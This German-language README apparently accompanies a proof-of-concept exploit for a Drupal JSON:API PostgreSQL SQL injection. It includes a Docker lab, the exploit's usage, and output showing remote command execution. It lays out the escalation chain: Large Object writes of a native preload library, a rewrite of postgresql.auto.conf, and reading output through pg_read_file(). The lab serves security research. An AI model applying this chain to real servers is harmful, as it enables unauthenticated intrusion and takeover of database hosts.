ambionics/cve-2026-9082-drupal-postgresql-rceExploit für Drupal JSON:API PostgreSQL SQL-Injection zu RCE über native Preload-Bibliothek. Enthält ein lokales Docker-Lab zum Testen von PostgreSQL 12–18+ Escalation-Pfaden.
Dieses Repository enthält ein lokales Labor und einen kurzen Exploit für die Drupal JSON:API PostgreSQL SQL-Injection, die im Ambionics-Artikel beschrieben wird.
Der wichtige Teil des Exploits ist die PostgreSQL-Eskalation: Sobald die Injection einen SELECT-Ausdruck als PostgreSQL-Superuser auswerten kann, schreibt sie über Large Objects eine native Preload-Bibliothek, lädt postgresql.auto.conf neu, löst session_preload_libraries aus und ruft die Befehlsausgabe mit pg_read_file() ab.
Der Exploit liest zunächst version() aus und erstellt den PostgreSQL-Modul-Magic-Block für die erkannte Hauptversion. Er verarbeitet die Modul-ABI-Layouts von PostgreSQL 12, 13-14, 15-17 und 18+. Der lokale Compiler muss weiterhin ein Shared Object für die gleiche CPU-Architektur wie der Ziel-PostgreSQL-Server erzeugen.
Das Labor verwendet PostgreSQL 18.4, die zum Zeitpunkt der Erstellung neueste PostgreSQL-Version. Der PostgreSQL-Eskalationspfad wurde von PostgreSQL 12.20 bis PostgreSQL 18.4 getestet.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
Das Labor verwendet:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal ist als postgres-Superuser mit PostgreSQL verbunden, sodass die SELECT-Only-SQL-Injection zu RCE eskaliert werden kann.
docker compose version
python3 --version
cc --version
Beispielausgabe:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Baue und starte die Container:
docker compose build --quiet
docker compose up -d
Erwartete Ausgabe:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Warten, bis Drupal den Status 'healthy' erreicht:
docker compose ps
Erwartete Ausgabe:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
Das Labor ist erreichbar unter:
http://127.0.0.1:8089
PostgreSQL-Version prüfen:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
Erwartete Ausgabe:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Prüfen, ob JSON:API den initialen Artikel anzeigt:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
Erwartete Ausgabe:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
Erwartete Ausgabe:
Successfully installed requests-...
id über die nicht authentifizierte JSON:API-SQL-Injection ausführen:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
Erwartete Ausgabe:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Einen weiteren Befehl ausführen:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
Erwartete Ausgabe:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Container stoppen, aber das Datenbank-Volume behalten:
docker compose down
Container stoppen und das Datenbank-Volume löschen:
docker compose down -v